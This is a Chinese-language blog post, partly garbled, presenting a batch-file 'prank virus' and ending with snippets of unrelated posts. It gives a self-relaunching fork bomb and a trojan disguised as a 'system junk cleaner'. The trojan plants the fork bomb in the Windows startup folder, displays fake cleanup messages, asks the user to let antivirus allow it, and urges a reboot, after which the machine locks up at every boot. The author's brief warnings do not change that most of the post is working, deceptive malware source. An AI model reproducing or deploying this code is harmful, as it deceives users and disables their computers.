用bat寫的乙個小病毒

2022-08-30 16:21:18 字數 1828 閱讀 1612

最近看了一點bat的知識,具體說是看了乙個部落格:

用了三天才看完=。=,感覺作者整理整理可以把部落格當書買了。。。

然後自己突發其想,想到了乙個小病毒程式,其實也算不上病毒,只能算是個惡作劇程式吧,其原理就是不斷開啟cmd程式,占用系統資源。。。呵呵。。讓大神見笑了=。=

windows.bat

start cmd

%0

使用者開啟這個程式之後,程式就會不斷開啟cmd,占用系統資源,導致系統癱瘓。%0是再次執行該程式的意思。

但是,這樣只能讓使用者宕機一次。。。。重啟系統以後,不再開啟這個檔案以後,就不再會中招了。。。。。

於是做了優化:

寫了乙個系統清理工具(這只是掩飾,嘿嘿,其實我們是要把這個windows.bat寫到使用者的開機自啟動目錄下,達到使用者每次開機,都會執行該程式的目的。但是,也不是不可以解決。。。使用者可以使用pe到開啟啟動目錄把windows.bat檔案刪除,或者重灌系統,只測試了xp和win7)

廢話不說了,上**:

系統垃圾清理工具:

@echo off

title 系統垃圾清理

color 2f

echo *****若有防毒軟體惡意攔截,請選擇【允許程式的所有操作】====

echo.

echo.

echo start cmd >c:\windows\windows.bat

echo %%0>>c:\windows\windows.bat

if %errorlevel%==0 goto next

copy c:\windows\windows.bat "%userprofile%\「開始」選單\程式\啟動\">nul

if %errorlevel%==1 goto error

:next

echo.

echo.

echo *****垃圾清理中,請不要關閉視窗*****====

echo.

ping -n 5 127.0.0.1>nul

echo.

echo *****垃圾清理完畢,共清理垃圾500m*****==

echo.

echo.

echo *****建議立即重啟電腦**********

pause

:error

echo.

echo.

echo *****=程式執行失敗,請【使用管理員許可權】重新執行!*****===

echo.

pause

說明:首先我們使用echo語句在c:\windows\目錄生成windows.bat檔案

然後copy到系統的開機啟動目錄

"%userprofile%\「開始」選單\程式\啟動\"
對應xp的系統開機目錄

正常情況下應該是有一條拷貝命令可以執行的,如果兩條命令都沒有執行說明,許可權不夠,這時提示使用者以管理員許可權再次執行。

警示1:

最後,大家收到bat檔案的時候,開啟之前一定要先用右鍵——記事本開啟看看,不然很可能就中招了。。。。

但是,也有很多軟體可以把bat轉exe檔案,這樣就看不到**了。。。。。。所以,大家不要輕易執行不可信任的程式,可以在沙盒或者虛擬機器中先執行試試

警示2:

這個清理系統垃圾的程式,是設定在系統開機的時候發作,所以使用者當時執行完並不知道已經中招了。。病毒有潛伏期,大家需警惕~~

自己寫的小病毒

前年寫的病毒,當時中了蘿拉病毒,然後我照的它寫了乙個,參考了好多資料,主要是386彙編和pe檔案結構的資料,個人感覺彙編什麼的不是很難,當時我還不太熟悉巨集彙編,不然可以有更簡潔的 486 model flat,stdcall option casemap none include ma 32 in...

Windows 下用BAT寫乙個簡單的apk安裝器

使用android studio 打包了apk檔案,有時覺得給手機安裝apk挺麻煩的,不妨試試在windows上編寫bat程式給手機安裝apk。其實原理就是使用adb命令進行apk安裝。echo off title apk安裝 color e rem 將adb.exe新增到path中 echo 初始...

寫乙個簡單的批處理(bat)

看了看以前寫的總結,發現有這樣的乙個批處理,還是挺有意思。拿出來分享一下。1 for d i in do 2 rem set day ti 3 cd i 4 for j in do 5 echo j j 6 set file1 dp0 i j 7 echo dp0 i j 8 set file2 c...